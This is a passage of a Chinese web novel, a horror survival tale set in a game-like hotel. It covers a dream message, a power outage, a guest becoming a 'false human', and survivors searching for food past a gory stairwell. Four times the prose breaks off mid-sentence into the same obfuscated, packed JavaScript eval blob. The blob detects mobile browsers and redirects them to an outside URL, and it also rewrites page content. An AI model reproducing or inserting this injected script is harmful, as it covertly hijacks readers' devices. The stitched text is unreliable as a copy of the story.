“就为这个?我还以为孩子犯了什么天条呢。这不还有81呢嘛,我家那个连及格都难,我也没当着这么多人的面说他啊。” “大妹子,教孩子,可要耐心点啊。” “可她从来没有掉过90分的,这是头一回!这么简单的题,这么多的解决方法,大不了不做就是了,结果她……” 无面女人念经似的喋喋不休逐渐稀释,如轻烟般随风而逝。 眼前的景象再度如坠云雾,白茫茫一片散去后,眼前猝然平地起高楼—— 从地底盘旋蹿出,一座巨大的雕像豁然出现在我眼前: 蛇尾人身,蛇形高高耸立,撑起女人形态的上半身。 虽然祂的眼睛蒙着一层黑布,但我就是能感受到,冰冷的视线正透过这层黑布,居高临下地俯视着我。 我猜,这层黑布并非用来防止我看到她的双眼,而是防祂—— 防止祂的力量外泄。 听说过戈尔贡三姐妹么?大名鼎鼎的美杜莎正是她们之中最小的妹妹。 但戈尔贡只是蛇发,下半身可不是蛇形啊。 “女娲?”我忍不住道。 甫一脱口,我自己都觉得荒谬。 虽然基于此情此景,我知道不可能会是女娲—— 高高的圆形穹顶,其上涂抹着小天使们挥舞洁白羽翼、互相追逐嬉戏的油画; 雕像背后高悬着由多色玻璃组合而成的彩窗,身前是一座大理石所筑的讲道坛; 我身后则是一大片的唱诗班席,席位中央,长长的过道径直延伸出去。 这里无疑是一间教堂。 雕像丰满的嘴唇本来正扬起一抹得意的笑容,闻言忽然僵在唇边。 半晌后,祂长长地呼出一口气,修长的指尖捏着一枚硬币,放到讲道坛上,一扭,那枚硬币便身不由己地旋转起来。 做完这一切,祂抬手整理了一番海藻般浓密蜷曲的黑发,轻轻启唇。 “%&#@¥伊德*&#?” “什么伊德?” 我的疑惑之情肯定已经溢于言表了。 这说的什么外星语? 显然雕像也发现了祂的话进入我耳中后会变成一堆乱码,整个人(半个人吧,半个人加半条蛇)肉眼可见地顿住,似乎真的石化成了一座雕像。 但这声音很是耳熟,我想想——啊! “你是昨晚那个人!” 这声音,化成骨灰我都认得!我可小心眼得很! 不过祂给我一种莫名的安心感,就像一位相识已久的老朋友。 看在祂的确帮了我的份上,我就大发慈悲,不计较这次了吧。 祂点点头,目光向右下角一瞥——在我看来,那儿什么都没有,可是祂的眼神却很专注地望着那片虚无。 因此我猜这座雕像只是祂在我梦境中的投影,真实的祂正处于另一个空间,很有可能正是游戏之外的现实世界。 想到这儿,我一下子激动起来: 终于有攻略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609674|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我查了!这游戏难玩死了!马上第三天了还停滞在任务2,我申请场外援助! 然而不还等我开口,雕像已经自顾自地叽里咕噜往下说了: “&$入侵#@%异能领域。&*%#@!^~(),-_=+%生命危险。&*%#@^幕后黑手。” “¥污染*,我的#%^@()*&$#?/`>?[!#^&。” “%#,世界末日}|:@,资源短缺@#^&*!()_,%$#@!^~&。%&^*防止被感染,#%&^*@~,虽然完全不睡觉是不可能的,但你要尽量少睡些。” 我猛然抬起头,直视盖在祂眼上那块黑布——如同从深水中潜浮而出,最后那句话突然清晰起来。 我焦急地朝她大喊:“我能听懂了!你重新说!” 明知道我听不懂还要继续往下说,肯定是出于某种特殊的原因,比如祂说的内容十分重要,不说不行,只好让我尽量听,能听懂多少就听多少; 抑或是我们在梦境中的联络是有时间限制的,所以祂也暂时想不到比接着说下去更好的方法。 如果是后者,这也就能解释,为什么我忽然就能听懂祂的语言了: 除时间限制外,我的梦境还受到别的什么力量的约束。 梦快醒了,时间要到了,这约束也随之变弱了,所以此消彼长,祂的渗透自然就变得强而有力了。 当然,还有另一种解释:我即将从梦境世界回到游戏世界,那个万物皆可翻的超强中文补丁生效了。 否则莫莉经常英语、法语和意大利语三种语言混杂着说,伊丽莎白不顾别人死活的西班牙语夹瑞典语,沃克的英式英语和莱特的美式英语……这些我全部要用脑子去一句句反应的话,CPU不得早干烧了。 也就黛西的英语容易听些,口音也很舒服。 至于如何解码祂先前所说,那就得靠我自己了。 “来不及了!” 那雕像瞥了一眼渐渐在残影中现形的硬币,同样紧张地摇摇头。 要不是石膏质地不会渗水,恐怕祂头上都已经冒汗了。 “我接下来说的话,你一定要记住!” “我会的,相信我。”我应道。 “那个人就在你们当中。” “那个人就在你们当中!” “那个人就在你们当中——不要相信任何人!” 我瞬间密密麻麻起了一身鸡皮疙瘩。 啪! 电视信号被切断了。 令人眼花缭乱的色斑从视野中淡去,天花板上的五行黑字渐渐变得清晰。 我是什么时候睁开眼的? 一骨碌坐起来,开着盖的笔记本电脑就放在床头柜上,小巧的屏幕在黑暗中散发出淡淡荧光,上面是打开的便签界面—— 这是我在入睡前特意设置的,为的就是醒来的第一时间就能使用。 我运指飞快,竭力在遗忘生效前,将刚才在梦中所听到的内容尽可能敲下来。 幸好,由于我的万全准备,大部分内容都被顺利地记录了。 一看屏幕右下角,凌晨五点十五分,比昨晚从梦中惊醒的时间点要晚。 也就是说,我的梦境比昨晚的更长。 而神秘人在我梦中,竟然也有了实体,不再仅仅是一道声音。 这是否意味着,她对我梦境的掌控能力变强了呢? 先来看看她都跟我说了些什么吧。 15. 异变丛生(1) “入侵”“异能领域”“生命危险”“幕后黑手”“污染”“我的”“世界末日”“资源短缺”“防止被感染”…… 再就是我听清的第一句话: “虽然完全不睡觉是不可能的,但你要尽量少睡些。” 对于这一点,我感到很荒谬—— 如果我不睡,就不会做梦;不做梦的话,又怎么能继续跟她联络呢? 结合前面的“防止被感染”,莫非不睡觉是一种防止感染的有效手段? 可那则新闻所说的完全不是这么回事。 它说感染征兆是“头痛、失眠和神志不清,严重会精神失常”。 第一天我苏醒后没多久就看到了这则新闻,还在为自己的头痛感到惴惴不安呢。 截然不同的两种说辞,要问我更愿意相信哪一个,我肯定选游戏之外的神秘人。 老实说,仅凭直觉,这游戏中的哪一张嘴我都不敢轻信。 算了,想不通,先往前看。 这些片段太零散,仅仅从字面上去尝试着把它们组合起来,可能会有些困难。 但如果与我所掌握的有关这个游戏世界的信息结合起来分析,应该就有迹可循了。 谈到“异能”,我第一反应当然是自己那堪称神异的、能从书中“生产”出道具的超能力,堪称神笔马良ProMax版。 不过,我怎么知道这份超能力,不是我在这个RPG全息游戏中所扮演的角色自带的技能呢?这游戏背景很明显也并不唯物主义嘛。 况且我的异能哪有“领域”一说?它基本和空间毫无干系嘛。 对了,我现在是失忆状态,神秘人未必会知道这一点。 如果她所说的内容全是一些她认为我们两人都共同知晓的事情,也难怪她明知我只能听懂只言片语,还是一个劲地往下说—— 因为她坚信,我仅仅听到几个片段,就能将所有线索串联到一起,并还原出整件事情的真相! 看来她对我的智商真是寄予厚望啊。 哎哟,我真是有点后悔了,早知道我就早点告诉她我失忆了。 现在就算能跟她进一步沟通,也还是两眼抓瞎,有什么用嘛! 然而,转念再一想,如果假设神秘人知道我的异能,那么一切就迎刃而解了。 甚至毋须假设,倒不如说,她一定知道我的异能—— 别忘了,第一天晚上的梦中,是她叫我去看书,我才发现了自己的异能。 既然她知晓我的异能细节,那她所提到的“异能领域”,应该指的不是我的异能,而是——她的异能。 那么,就让我来试着还原一下这些句子吧!组词造句,这可是小学就学过的内容呀。 一时的磨难无法打倒我!我又信心百倍了! “某某入侵了我的异能领域,我会有生命危险,现在需要找出幕后黑手?” 不对不对,如果是她有生命危险,她怎么可能还有闲心每天晚上跑来我梦中告知我一声。 何况就听她那悠闲劲儿,根本不像面临生命威胁的样子,恐怕我眼前的威胁比她还—— 对了,这就没错了。 电光火石间,我想明白了一切。 有生命危险的人,从头到尾都是我才对。 难怪她最后要说“那个人就在你们当中”,还反复强调了三次,生怕我再听进一串乱码。 因为只要重复多次,就算听到的是乱码,也能拼凑出相对完整的句子来。 还记得天花板上那份前言不搭后语的任务列表吗? 怪不得后两条任务与前三项风格如此迥异。 毫无疑问,任务1、2、3都在督促玩家扮演一个调查婚外情的私家侦探;而4、5则画风突变,说是绝地求生也不为过—— 因为这根本就出自完全不同的两个人的手笔! 所以她的原话很有可能是: “有人入侵了我的异能领域,你会有生命危险,要找出幕后黑手,污染后我的异能领域中出现了世界末日和资源短缺,为了防止被感染,虽然完全不睡觉是不可能的,但你要尽量少睡些。” 怎么样?是不是大差不差了! 下次再见到她,我可要好好地求证一番。 只是,对于她在我梦中的化身意味着什么,我尚且还没些许头绪。 「电池电量严重不足,立即接通电脑电源」 我正凝神思考,抱在膝上的电脑却忽然响起提示音。 低头一看,原来是低电量提醒。 奇了怪了,我不是一直插着充电线吗? 检查了一下两端插头,四平八稳,我还往里怼了两下,确保它的确插得严丝合缝,右下角的电池图标却还是显示黄色。 糟了。 我按动床头的房间灯光总开关,果然无响应。 我又匆匆下床,透过猫眼往外看,走廊上也是一片漆黑。 断电了。 真要命,我早该想到的! 没电对于我们来说当然是毁灭性的打击。且不说电梯不能使用,倘若有电,酒店里说不定还有无线电设备可以用来求援。 为什么会停电?是负责维护电力的维修人员早就遭遇不测了,还是…… “那些东西”,动的手? 既然它们没法上来,那就主动引诱我们露面? 坦白说,直到现在还是只闻其声、不见其人,这让我心里很没底。 所谓的“智力不足以支撑它们使用电梯”,完全只是我基于现状的猜测。真实的它们究竟是怎样的,至少到目前为止,谁也不知道。 “烦死了!” 一股莫名的冲动驱使着我尽快找一个出口,好发泄这短短不足48小时内所积攒起来的冲天怒气。 手比脑子更快,等再回过神来,笔记本电脑已从我高高举起的双手中滑落—— "NO!" 我惊声尖叫,弯腰就去捞电脑,冒着闪到腰的风险,终于在它即将来个HardLanding(硬着陆)之前险险抓住了它,用两根手指尖捏着它的边缘。 好不容易把它提回床上,这才狠狠松了口气。 做完这些,我感觉自己的手都快抽筋了。 我这是怎么了?我从来没有摔东西泄愤过。 高压真的会扭曲一个人的性情吗? 算了,现在不想考虑那么多,第三天已经开始了。 我消耗一本书变出一只双肩包,换好外出的衣服,检查了一下小冰箱里的存量:还剩几包饼干,以及一些袋装的咖啡粉和茶包。 幸好我把最容易变质的水果先吃掉了,即使小冰箱因为没电而停止运转,对我的影响也不大。 但我必须去寻找食物了,这几包饼干不可能够我再坚持五天的。何况上一餐只吃了些水果,这让我享受惯了大鱼大肉的胃连续发出了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609675|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满的抗议,闹得我几乎无法安寝。 再说了,想要把大家团结到一起也需要食物,起码不能因为饥荒而起内讧。 我也仔细检查过所有我带来的书,除了那本已经用掉的《刀叉间的谋杀》,提到食物并作了一番详细描述的书真是微乎其微。 我的异能看似万能,实际上也存在着诸多限制,仅仅我试验出来的,就有: 一,不能大变活人,包括其它活物; 二,不能变书中只是提了一嘴、没有详细描述的东西,也即我无法从书中了解它的大致构成的物品。 但我还想到一种情况:如果我预先就了解其构成,而书中只是提了一嘴,这样的物品能不能变出来呢? 答案是可以。 至于得了解到什么程度,我现在还没有试验出比较准确的范围来。 三则是不能变虚构的、实际上并不存在的东西。 这几本书是我的后备资源,不到万不得已,我绝不会动用它们。 而我身怀异能的事情也不能让别人知道—— 别忘了,幕后黑手还混在那五个人当中呢。 踏出房门,还不等走到拐角,一道惨白的光线在尽头一闪而过。 我急忙跟上,却眼睁睁看着它消失在餐厅门后。 不作它想,我当即抓住门把手,推门进去。 吱呀一声,银光便如流水般倾泻而出—— 这是什么? 借着这光,我视线落在自己推门的那只右手上,猛地一怔,几乎不敢相信自己所看到的。 四下阒静,推门声便显得响亮。 这回没有饭菜的香味,只有里面的几个人齐刷刷抬起头来,黑洞洞的几双眼睛看着我,状若鬼魅。 死一般寂静。 这场面着实有些说不出的诡异。 唯一可称得上喧嚣的,是几支放在桌上的手电筒。 死鱼肚似的,凌乱白光冷冷地在一片灰尘中纠缠,不分你我。 我刚才所看到的那一缕,正是由其中之一发出的。 "Youarehere.Thenwewon''thavetocallyou.(你来了?那就省得再去找你了。)" 沃克率先开口。我听不出此时他究竟是什么情绪。 看来,有人抢先组织了这场集会。 不过,如果能达成目的,我当然也不会介意领导者是谁。 我环视一圈,视线不经意间掠过某个人的脸庞,落在她的耳际,下意识瞪大眼眶,然而反应过来,又拼命抑制住了这股冲动。 我努力装作若无其事,问:"WhereisMissGreen?(格林小姐呢?)" 黛西去哪儿了? 她可不像是有热闹不凑的人啊。 “敲过她的门。没应。可能还在睡。” 伊丽莎白舔着嘴唇,慢慢吞吞,用一种令人不快的调子回答。 "Areyouhungry?(您肚子饿了吗?)" 她舔嘴唇的动作过于频繁,莫莉也注意到了,于是面带关切地告诉她:“起居室角落有个小冰箱,里面有些食物,应该够吃两天的。” 谁知伊丽莎白却摇摇头,说:“没有。” 没有是什么意思? 其余三人脸上不约而同露出了茫然的表情,我猜自己也不例外。 “没有食物。冰箱里。被偷了。” 16. 异变丛生(2) 伊丽莎白这才出言解释,还是一贯令我极为不适的慢慢悠悠。 奇了怪了,第一次见她的时候,她见我们聊起天,没人找她搭讪,还火急火燎地蹦出来求关注。 现在怎么换了一种说话方式?这腔调磨得我头皮发麻。 然而让我更加毛骨悚然的,还远远不止于此: 在手电筒打出来的苍白灯光下,我发现伊丽莎白没有上妆,用厚粉也无法抚平条条褶皱的脸上,竟平滑了不少,只有眼角残留着一些细纹。 她的一只耳朵凹陷下去,不见发缝的稠密发丝从那块内陷的皮肤中蓬勃地生长出来,整个人泛着一股不正常的油光。 “呕——” 这种似人非人的怪异感就像手掌心在没生痦子的情况下突然长了根又粗又卷的黑毛一样,令人作呕。我赶紧挪开视线,却还是无法及时遏止想要干呕的冲动,胃里也配合地一阵咕噜作响。 “怎么回事?!” 莫莉赶紧来扶我,右手擦过我掌心,“这种时候可千万不能生病!” “谢谢,我没事,老毛病了。” 我尽量表现得自然些,不动声色地接过她递来的东西,塞进袖口,借着拿纸巾擦嘴的功夫,透过第六根手指间的缝隙偷偷瞄了一眼—— 红色的包装纸,金属光泽一闪而过。 是一包饼干。 天,这姑娘为什么对我这么好? 每个人的口粮都有限,她给了我一包饼干,就意味着她自己得少吃一包饼干,多挨一份饿。 饥饿有多折磨人,她难道不清楚么?我自己是再清楚不过了。 所以我还是找机会把这包饼干还给她吧。 不过也多亏了我用自己以身试险,经过昨晚那一遭,我多少窥见了真相一角—— 从伊丽莎白身上,我嗅到了一个近乎完成体的“同类”气息。 那气味与尸臭味也没有什么两样。 现在的伊丽莎白虽然看起来还像个人样,但实际上,的确也只是看起来像人罢了。 拿个可能并不算十分恰当的例子——AI绘画来打比方,感染完成后的伊丽莎白已经完全不是以前那个她了,而是将她打碎后,由千千万万个她的尸块缝合而成的——悲伤的她、哭泣的她、愤怒的她、痛苦的她……虽然外表还有个人样,但要问拼接尸块和活人有什么共同点?也就剩有个人形了。 这些全都是活在她最不愿意回顾的那些时空里的她自己。立足于当前时空,回望过去,那些“过去的自己”,早已尘归尘、土归土了。 现在坐在我们面前的伊丽莎白,正是由千千万万个这样的她的亡灵、她的死尸,而拼接成的“伪人”。原来的伊丽莎白已经被顶替掉了。 她做噩梦时,在愤怒和仇恨的驱使下,在别有用心的诱导中,一次又一次将心底最痛恨的那个人虐杀至死,一次又一次地自以为克服了那些悲惨的过往。 但事实上,这只会加深她的感染程度,并不能解决实际问题。 我记忆力很好,还记得第二天早上,她不顾我即将成为世界历史上第一个在酒店里被活活渴死的人,非要拉着我说话,其中有句话便是—— “仔细想想,那些日子可真是黑暗,而我竟然窝囊地忍了这么久,现在回想起来,真叫人吃惊和愤怒。” 当时如果不是黛西横插一脚,打断了她的话,恐怕她就要将自己的杀意彻彻底底暴露出来了。我猜她那句没说完的话是“他来一次,我就能杀一次”。 只不过,她要杀的人是谁呢? 再结合她“头发”部分出油、变得模糊这不同寻常的一点来看,恐怕才第一天晚上,她就已经开始感染了,而且还是从头部开始感染的,一直向下蔓延到全身。 也算她运气不好,如果是从身体的其它部位开始感染,可能还有救,只要按照萧鸮所说,不再听从噩梦的蛊惑即可。 但从头部开始感染,就意味着大脑是最先被感染的器官,她的认知在被感染的那一刻开始起也随之被修改,此后再想抵抗噩梦的洗脑、抵抗欲望的驱使,几乎是不可能的。 而感染速度也因人而异。我只杀了那无面女人一次,于是仅仅感染了一只右手,获得了一根散发着腥气的尸块手指; 伊丽莎白却只用了两个晚上就全部感染完成,彻头彻尾地变成了一个伪人——想来她应该是恨毒了她梦见的那个人,以至于杀死他这一行为几乎是根植在本能中的,也许梦魇根本不需要下大功夫去修改她的认知。 不,也不能说是已经百分之百完成了感染进程,因为她身上的尸臭味还没有浓烈到难以忍受——至少坐在她附近的那三人,表情如常。 第二件同样得益于这次尝试的事是,我恢复了一部分关于自身的记忆。 最起码我弄明白了,这一方世界,究竟是怎么一回事。 言归正传。形势紧迫,其它人自然也明白这一点。不用我多说,他们也同意了我的提议:两两一组,分别去其它楼层搜罗食物,找到的食物大家均摊。 “可是我们有五个人,如果这样的话,就得有一个人落单了。”莫莉无不担忧道。 "AndwhataboutMrs.Scott?Youcan''tlethergowithustofindfood,canyou?(而且斯科特女士怎么办?你总不能让她和我们一起去找食物吧?)" 莱特没好气地说,嫌弃之情溢于言表。 这就是在嫌伊丽莎白拖后腿了—— 等等?我的中文补丁……哦对了,前几天也是这样。 00:00是一个自动存档点,这补丁似乎是每次存档后都需要重新激活,而激活方式就是听NPC说话。等他们再说第二句话,就可以正常翻译成中文了。 如果我没记错的话,也正是从第二天早上开始,伊丽莎白说的话,不再需要等补丁激活后才能被翻译了吧? 原来早在那时,我就已经被提醒过—— 伊丽莎白不再是NPC了。 或者说,不再是“人类”了。 “你这话什么意思?” 莫莉顿时怒气冲冲,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609676|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是我的错觉,她望着莱特的眼里似乎满是失望,“你怎么能这么说话?” 莱特反唇相讥道:“我怎么说话了?难道我说的不对?斯科特要是也一起行动,只会拖我们的后腿!” “好了好了,现在不是吵架的时候,还是节省点体力吧。” 闹了半天,又是我来当和事佬。短短三天(甚至还不足72小时)内劝的架,说不定比我这辈子劝过的架还要多。 “那你说,我们怎么分配?” 果然是谁劝架谁倒霉,我一出头,莱特马上将矛头对准我,毫不客气道:“肯定又是一男一女的经典搭配,其中一队要带上这个老拖油瓶吧?” Damnit!这家伙说话真是难听! 小伙子可不要小看老年人,信不信现在的伊丽莎白能一巴掌把你的头像劈西瓜一样劈得稀巴烂?! 不过我总算明白他为什么跟吃炸药一样了——司马昭之心路人皆知,他无非就是早算准了我的分队安排,而他也知道这安排注定不合己意,有一些自己的小巧思想要施展。 好好好,你跟我一个中国人玩心眼子是吧,不知道我们中国人是出了名的聪明吗? 行啊,既然如此,那我就将计就计,看看这家伙葫芦里到底卖的什么药。 “那你说,我们应该怎么分队?” 我顺势将皮球踢回去,好整以暇地等着他究竟要吐出什么象牙来。 “你和这女人一起,我和沃克一块,斯科特留在餐厅。” 莱特趾高气昂地踱步过来,脖子梗着,下巴高抬,拿鼻孔瞅着我,眼皮微微一眨,几不可察。 “我可信不过你旁边这个女人,我劝你最好也提防着她,她可是个不折不扣的伪君子!” 说罢斜了一眼我身侧的莫莉,又跟个丹顶鹤似的,昂首挺胸踱回沃克身旁了。 嗯?他俩有啥我不知道的龃龉? 在我的印象里,这两人之间好像并没有什么重大的过节啊? 我便也跟着他的眼神,用余光瞟了一眼莫莉—— 这不看不知道,一看吓一跳:刚才还神采奕奕、容光焕发的莫莉,突然双肩耷拉着,一脸灰败,仿佛整个人都被莱特那句不痛不痒的贬低打击得一蹶不振,一副很受挫的样子,也不敢再直视莱特了。 这下傻子都知道你们之间也存在某种关系了! 等等,我为什么要说“也”? 所以我们六个人之间到底还有哪两个存在着什么我不知道的关系?! 算了,现在不是操心这个的时候。 总之,这样的分组就算仍旧有人不满意,也无法再说什么了。 餐厅的门是向内开的,无法上锁。我们帮伊丽莎白挪动长餐桌,把门顶住,并约定好:除非我们是两人及以上的形式来叫门,否则不管谁来,她都不要开门。 当然,如果她自己想出来的话,除了那张看似无法移动分毫的长餐桌,和一扇形同虚设的大门之外,其实也没有什么能拦得住她。 这下只能寄希望于黛西的脑瓜子能放机灵点了。 17. 异变丛生(3) 我们每人拿上一支手电筒,又各自拿了些能当武器防身的物什,这才挨个离开餐厅,来到走廊上。 楼梯间门上挂着的这把沉重大锁似乎无坚不摧,但我从来不打无准备的仗,遂从冲锋衣外套的口袋中掏出一把多槽式万|能|钥|匙——对,这也是我消耗了一本书变出来的。 连这种乱七八糟的东西都有,最重要的食物却没有,可想而知我的怨念该有多么深重,相信要不了多久就可以养一只可爱的邪剑仙了。 捣鼓一阵子后,大锁嗵一声掉在厚厚的地毯上,身后登时一阵惊呼和吸气声。回头一看,那三人果然以或惊讶或崇敬的眼神望着我,目光中写满不可思议。 莫莉更是凑过来,小声夸赞道:“夏,你太厉害了!连这个都会!” 我谦虚道:“之前在我的国家学过一些皮毛。” 其实也并不需要怎么学,这完全是这把万|能|钥|匙的功劳。这群外国人真是少见多怪。 莱特当即“嗤”了一声,双臂一叉,白眼都快翻到天上去了;沃克倒是什么都没说。 推开门,我们四人走进楼梯间,入目便是一片沼泽般的暗红,墙面、地板、门后……到处都是呈喷射状的凝固血迹。 现场保存得相对完好,基本上受害者遇害时是怎么样的,现在我们所看到的也是怎么样的。多余的鲜血喷到墙上,还保留着向下流淌的痕迹,动态感十足…… 对不起,职业病犯了。 尸体的惨状我不想过多描述,那实在是惨不忍睹,其它三人甚至不敢向那边转动哪怕多一毫的眼珠,就连我看了都一阵阵反胃,只是勉强用余光去尝试判断伤口是什么造成的,然而没几秒钟也放弃了—— 楼梯间一片血泊,密闭空间中,呛人的血腥味久久不散,尸体更是几乎不成人形了。很难想象到底是多么残忍的手法,能把血肉从骨架上生生撕扯下来——在人还活着的时候。 我的嗅觉很发达,楼梯间久不通风,这股血腥味犹如天罗地网,缠绕得我快要窒息,只觉整个鼻腔、气管和所有肺泡中都充斥着冲击力极强的金属气味。 要不是还顾及着有别人在这儿,我真恨不得马上就大咳特咳一番,把肺中被血气污染的空气全部排出去。 除此之外,还有一串饱蘸着鲜血的脚印拾阶而上,应该是去了更高的楼层。那脚印乍一看倒没有什么寻常之处,至多是以血为墨,在地上清晰地印出了鞋底的花纹—— 格菱纹,主要集中在前脚掌,中部的纹路比较浅,鞋跟两个反扣着的字母C,明显是一双女式平底鞋。 “会不会是后来发现尸体的人?那人从更低的楼层上来,路过这里,踩上了血,然后又往更高处去了。”莫莉猜测道。 “这样的确能解释为什么只有一串脚印残留,但很可惜,不是这样的。” 我摇摇头,“这鞋码……算了,我直接说结论吧。依照单只鞋印的长度来看,留下脚印的人身高应该在160cm上下,但是——” 时间宝贵,再者他们估计也没耐心听我的长篇大论。所以我双臂岔开,屈指成拳,仅仅伸出两根食指,一左一右,分别指着两只相邻的鞋印。 “你们觉得,一个身高一米六的人,上一步和下一步之间的距离,会相差这么大么?” 我对自己的目测距能力怀抱极大的自信心,这是一种与生俱来的天赋。虽然精准度不能跟仪器相比,但也已远远超出一般人的水平。 为了进一步说明,我小心翼翼避开血迹,站到自己所指的脚印1一侧,抬头挺胸,尽量自然地朝前迈出了一步——果然,落脚处离脚印2尚存一段距离。 穿着这鞋走路的人(也许暂时还能将之称为“人”),身高绝对不止170cm。 我们四人中身材最为高大的当属沃克无疑,他具体有多高我不好说,但绝对在一米八以上。见状,他一语不发,走过来,学着我的样子,站在脚印1旁边,同样向脚印2走了一步—— 刹那间,我听见自己的胸腔内一片死寂冰凉。 他的第二步,近乎是不偏不倚,落在了脚印2边上。 一个一米八的“人”,先不说它是如何把一双大脚塞进这样一双鞋里的,单论有没有这个必要,就值得商榷—— “啊!!” 四下正阒静,大家的脸色都凝重。有人却骤然惨叫一声,打破了这凝滞的氛围。 我被这一声尖叫惊得猛然回神,循声看去——莱特一脸如梦方醒,面色煞白,嘴唇也毫无血色,豆大的汗滴不断从额上渗出、淌下、渗出、淌下……先是蜂巢似的片片铺在额头上,后又沉甸甸积累在下巴尖,啪嗒啪嗒,很快就打湿了前襟,将略微发黄的白衬衫晕染出一片深色水渍。 直到这一刻,我才蓦地明白了什么叫做“汗如雨下”。 莱特见大家的目光都转向他,慌忙叫唤道:“我、我不要去楼上!我们回去吧!” 他一双眼睛里,绝望和哀求几乎满溢而出,瞧瞧这个又望望那个,见莫莉和沃克都沉默着不吭声,最后才将视线投注到我身上—— “夏,求你了,我们回去吧,好不好?楼上还不知道会有什么可怕的怪物,你看看这人!不,这还能算个人吗!” 他一戳空气,指向地上那具血肉模糊的尸体——烂泥似的肉和发黑的血渍脏兮兮地混杂一处,废品回收站的垃圾恐怕都比它洁净、体面和完整,“我们打不过它的!我想活着,我不想变成这样!” “可是……” 前所未有地,我语速放慢,一句话揉开了、掰碎了,尽可能让接下来的每一个字,都清晰地喂进在场之人的耳中: “如果我们还没出发就打道回府,你有想过我们接下来该怎么度过吗? “搜罗食物和水、维修电力、向外界求援,以及抵抗可能到来的入侵……这些都需要体力。 “我们不可能一辈子呆在四楼的。” “我不管!要是你让我上去,我就回去!” 莱特额上青筋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609677|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆出,脸色涨得通红,几乎是歇斯底里地朝我大吼。吼完了,自顾自就咚咚咚往外走,想退回铺满地毯的走廊内。 “等等!” 眼看又要少一个劳动力,我实在无法,只好叫住他,又以探询的口吻征求其余两人的意见:“我去楼上吧,你们谁和我一起去?我会尽力保护你们……如果实在害怕,我就一个人去。” “我跟你一起去!” 还不等沃克开口,莫莉已经哒哒跑过来,挽住我的手,“怎么能让你一个人去?两个人好歹还有个照应。” “好,谢谢你。” 莫莉人真的好好。我给了她一个笑容,又朝沃克点点头,道:“那就拜托你们去楼下看看了。配电室应该在一楼,如果可能的话,希望你能去检修一下。” 沃克盯着我,眼中闪过什么我看不懂的情绪,片刻后才道:“好。” …… 刚才一番拉扯已耗去了不少时间,转眼就到了中午。坦白说,我是挺焦急的,于是默默用加快的脚步无声催促莫莉抓紧行动。 天一黑,就什么都看不见了,这也就意味着遇到危险的概率会极大提高。手电筒虽然能为我们暂时提供光源,可电池也不可能永无止境地消耗下去。 岂料莫莉却一反常态地拖拖拉拉起来。 “等等,夏!” 她小跑着,紧紧跟在我身后,双手撑在膝盖上,小口小口地喘气,“我有话对你说!” “什么事?” 我尽量让自己的声音听起来心平气和,目光仍旧放在眼前沾血的台阶上。 “我知道,你一定很奇怪,莱尔为什么莫名其妙针对我,而我又为什么没有反击回去。” 我停下了脚步。因为我注意到她并未称其为“李先生”,而是直呼其名,甚至是昵称——要知道,这是很亲密的叫法。 反正我不会对着一个陌生人叫他的名字,通常都是连名带姓地叫,等认识久了,足够熟悉之后,才只叫名字以表亲近。 当然也有更亲密的叫法,诸如“小某”“阿某”等等,比如拿我的名字举例就是“小夏”“阿夏”“夏夏”……朋友们都这么叫。 再比如——把“莱特”叫成“莱尔”。 “所以你为什么对他百般忍让?”明明昨天早上还拿话激他来着。 “他是我弟弟。” 平地一声雷。 我猛地睁大眼,视野中,幽深的楼梯口模糊了——数不清的粉尘在几缕微弱的光线中,踩着我渐趋激烈的心跳节拍狂乱地起舞。 “什么?!”我听见自己难以置信地说。 好半天我才彻底消化了这句话,迅速转过身,眼珠狠狠地凸出眼眶,几乎是在瞪着她了。 “你……你再说一遍。”我简直不敢相信自己的耳朵。 你们这些NPC到底还有多少惊喜是我不知道的? 萧鸮,你少看点狗血八点档吧!写的什么狗屎剧情! 我心里不由暗骂道。 18. 异变丛生(4) “对不起,我也是才发现不久,我……我对他心里有愧,所以刚才没法出面帮你稳定他,抱歉……”她嗫嚅道。 